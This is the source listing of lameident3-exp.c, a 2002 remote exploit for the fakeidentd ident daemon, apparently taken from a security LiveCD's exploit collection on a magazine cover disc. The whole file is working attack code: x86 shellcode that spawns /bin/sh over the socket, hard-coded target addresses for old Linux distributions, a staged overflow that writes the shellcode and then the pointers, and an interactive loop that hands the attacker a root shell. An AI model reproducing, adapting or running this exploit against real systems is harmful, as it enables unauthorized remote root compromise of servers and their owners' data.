home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / remote / lameident3-exp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  271 lines

  1. /* lameident3-exp.c - sloth@nopninjas.com - http://www.nopninjas.com
  2.  *   this should work for most Linux distributions without needing
  3.  *   any modifications
  4.  *
  5.  * fakeidentd exploit 3rd revision.
  6.  * v1.4 http://software.freshmeat.net/projects/fakeidentd/
  7.  * v1.2 http://hangout.de/fakeidentd/
  8.  *
  9.  * vuln found by Jedi/Sector One
  10.  * Other people who worked on the same bug and shared ideas:
  11.  *   Charles "core" Stevenson, Solar Eclipse
  12.  *
  13.  * 7/25/02
  14.  *
  15.  * Collaborative effort via the [0dd] list. Thanks to Charles Stevenson for
  16.  * running it.
  17.  *
  18.  * 0dd, irc.pulltheplug.com, b0red
  19.  */
  20.  
  21. #include <stdio.h>
  22. #include <string.h>
  23. #include <stdlib.h>
  24. #include <unistd.h>
  25. #include <sys/types.h>
  26. #include <sys/socket.h>
  27. #include <netinet/in.h>
  28. #include <arpa/inet.h>
  29. #include <netdb.h>
  30.  
  31. #define     ALIGN 1   /* you probably dont need to touch this */
  32. #define IDENTPORT 113
  33. #define    USLEEP 200 /* delays the send()'s to avoid "broken pipe" errors */
  34.  
  35. #ifdef DEBUG
  36.   #define DUPFD "\x04"
  37. #else
  38.   #define DUPFD "\x02"
  39. #endif
  40.  
  41. /* dup() shellcode from Charles Stevenson <core@bokeoa.com> */
  42. char lnx86_dupshell[]=
  43.   "\x31\xc9\xf7\xe1\x51\x5b\xb0\xa4\xcd\x80\x31\xc9\x6a" DUPFD
  44.   "\x5b\x6a\x3f\x58\xcd\x80\x41\x6a\x3f\x58\xcd\x80\x41\x6a\x3f"
  45.   "\x58\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
  46.   "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
  47.   "\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
  48.  
  49. struct Targets {
  50.   char *name;
  51.   long baseaddr;
  52.   char *shellcode;
  53. };
  54.  
  55. struct Targets target[] = {
  56.   { "  gcc-2.91.66  x86\n"
  57.     "    * Slackware 7.1\n"
  58.     "    *    RedHat 6.2\n",
  59.     0x0804b0a0, lnx86_dupshell },
  60.   { "  gcc-2.95.3/4 x86\n"
  61.     "    * Slackware 8.1\n"
  62.     "    *    Debian 3.0\n",
  63.     0x0804a260, lnx86_dupshell },
  64.   { (char *)0, 0, (char *)0 }
  65. };
  66.  
  67. void sh(int sockfd);
  68. int max(int x, int y);
  69.  
  70. void fail(char *reason) {
  71.   printf("exploit failed: %s\n", reason);
  72.   exit(-1);
  73. }
  74.  
  75. long resolve(char *host) {
  76.   struct in_addr ip;
  77.   struct hostent *he;
  78.  
  79.   if((ip.s_addr = inet_addr(host)) == -1) {
  80.     if(!(he = gethostbyname(host)))
  81.       return(-1);
  82.     else
  83.       memcpy(&ip.s_addr, he->h_addr, 4);
  84.   }
  85.   return(ip.s_addr);
  86. }
  87.  
  88. int make_connect(struct in_addr host) {
  89.   int s;
  90.   struct sockaddr_in sin;
  91.  
  92.   memset(&sin, 0, sizeof(sin));
  93.   sin.sin_family        = AF_INET;
  94.   sin.sin_port          = htons(IDENTPORT);
  95.   sin.sin_addr.s_addr   = host.s_addr;
  96.  
  97.   if((s = socket(AF_INET, SOCK_STREAM, 0)) <= 0)
  98.     fail("could not create socket");
  99.  
  100.   if(connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0)
  101.     fail("could not connect\n");
  102.  
  103.   return(s);
  104. }
  105.  
  106. int main(int argc, char *argv[]) {
  107.   int s, a, uwait = USLEEP, nops = 500;
  108.   long baseaddr;
  109.   long shelladdr = 0xbfffa090;
  110.   long pointaddr = 0;
  111.   char buf1[2020], buf2[32], *p, *shellcode;
  112.   struct in_addr host;
  113.  
  114.   printf("lameident3-exp.c by sloth @ b0red\n");
  115.  
  116.   if(argc<3) {
  117.     printf("usage: ./lameident3-exp <target> <host> <send delay in ms>\n");
  118.     for(a=0;target[a].baseaddr;a++)
  119.       printf("  %d: %x %s", a, target[a].baseaddr, target[a].name);
  120.     exit(-1);
  121.   }
  122.  
  123.   for(a=0;a<atoi(argv[1]);a++)
  124.     if(!target[a].baseaddr)
  125.       fail("invalid target");
  126.  
  127.   baseaddr  = target[a].baseaddr;
  128.   shellcode = target[a].shellcode;
  129.   if(argv[3]) uwait = atoi(argv[3]);
  130.  
  131.   if((host.s_addr = resolve(argv[2])) == -1)
  132.     fail("invalid host");
  133.  
  134.   memset(buf1, 0, sizeof(buf1));
  135.   memset(buf1, 0x90, sizeof(buf1)-strlen(shellcode)-1);
  136.   memcpy(&buf1[(sizeof(buf1)-strlen(shellcode)-1)],shellcode,strlen(shellcode));
  137.  
  138.   s = make_connect(host);
  139.  
  140.   send(s, "AAAAAAAAAAAAAAAAAAA", 19, 0);
  141.   usleep(uwait);
  142.  
  143.   memset(buf2, 0, sizeof(buf2));
  144.   buf2[0] = 'A';
  145.   *(long *)&buf2[1] = shelladdr - baseaddr - 5;
  146.  
  147.   send(s, buf2, 5, 0);
  148.   usleep(uwait);
  149.  
  150.   p = buf1;
  151.   printf("Writing shellcode: %d bytes to 0x%x...\n", strlen(buf1), shelladdr);
  152.  
  153.   for(a=0;a<=strlen(buf1), *p;) {
  154.  
  155.     if((a = send(s, p, strlen(p) > 19 ? 19 : strlen(p), 0)) == -1)
  156.       fail("write error");
  157.  
  158.     p += a;
  159.     usleep(uwait);
  160.  
  161.   }
  162.  
  163.   close(s);
  164.   usleep(100);
  165.  
  166.  
  167.   s = make_connect(host);
  168.  
  169.   send(s, "AAAAAAAAAAAAAAAAAAA", 19, 0);
  170.   usleep(uwait);
  171.  
  172.   memset(buf2, 0, sizeof(buf2));
  173.   buf2[0] = 'A';
  174.   *(long *)&buf2[1] = shelladdr - baseaddr + strlen(buf1) + 20 - 5;
  175.  
  176.   send(s, buf2, 5, 0);
  177.   usleep(uwait);
  178.  
  179.   p = buf1;
  180.   pointaddr = shelladdr + strlen(buf1) + 20;
  181.   printf("Writing pointers to 0x%x\n", pointaddr);
  182.  
  183.   memset(buf1, 0, sizeof(buf1));
  184.   for(a=0;a<=512;a += 4)
  185.     *(long *)&buf1[a] = shelladdr + 500;
  186.  
  187.   for(a=0;a<=strlen(buf1), *p;) {
  188.  
  189.     if((a = send(s, p, strlen(p) > 19 ? 19 : strlen(p), 0)) == -1)
  190.       fail("write error");
  191.  
  192.     p += a;
  193.     usleep(uwait);
  194.  
  195.   }
  196.  
  197.   close(s);
  198.   usleep(uwait);
  199.  
  200.  
  201.   s = make_connect(host);
  202.  
  203.   send(s, "AAAAAAAAAAAAAAAAAAA", 19, 0);
  204.   usleep(uwait);
  205.  
  206.   memset(buf2, 0, sizeof(buf2));
  207.   buf2[0] = 'A';
  208.   *(long *)&buf2[1] = 0xffffffff - 0x9f - 5;
  209.  
  210.   send(s, buf2, 5, 0);
  211.   usleep(uwait);
  212.  
  213.   memset(buf2, 0, sizeof(buf2));
  214.   *(long *)&buf2[0] = pointaddr + 200 + ALIGN;
  215.  
  216.   send(s, buf2, 4, 0);
  217.  
  218.   close(s);
  219.   usleep(uwait);
  220.  
  221.  
  222.   s = make_connect(host);
  223.  
  224.   send(s, "1234, 1234\n", 11, 0);
  225.   usleep(uwait);
  226.  
  227.   printf("here comes the root shell!\n");
  228.   sh(s);
  229.  
  230.   close(s);
  231. }
  232.  
  233. /* mixters */
  234. int max(int x, int y) {
  235.   if(x > y)
  236.     return(x);
  237.   return(y);
  238. }
  239.  
  240. /* mixters sh() */
  241. void sh(int sockfd) {
  242.   char snd[1024], rcv[1024];
  243.   fd_set rset;
  244.   int maxfd, n;
  245.  
  246.   strcpy(snd, "uname -a; pwd; id;\n");
  247.   write(sockfd, snd, strlen(snd));
  248.  
  249.   for(;;) {
  250.     FD_SET(fileno(stdin), &rset);
  251.     FD_SET(sockfd, &rset);
  252.     maxfd = max(fileno(stdin), sockfd) + 1;
  253.     select(maxfd, &rset, NULL, NULL, NULL);
  254.     if(FD_ISSET(fileno(stdin), &rset)){
  255.       bzero(snd, sizeof(snd));
  256.       fgets(snd, sizeof(snd)-2, stdin);
  257.       write(sockfd, snd, strlen(snd));
  258.     }
  259.     if(FD_ISSET(sockfd, &rset)){
  260.       bzero(rcv, sizeof(rcv));
  261.       if((n = read(sockfd, rcv, sizeof(rcv))) == 0){
  262.         printf("EOF.\n");
  263.         exit(0);
  264.       }
  265.       if(n < 0)
  266.         fail("could not spawn shell");
  267.       fputs(rcv, stdout);
  268.     }
  269.   }
  270. }
  271.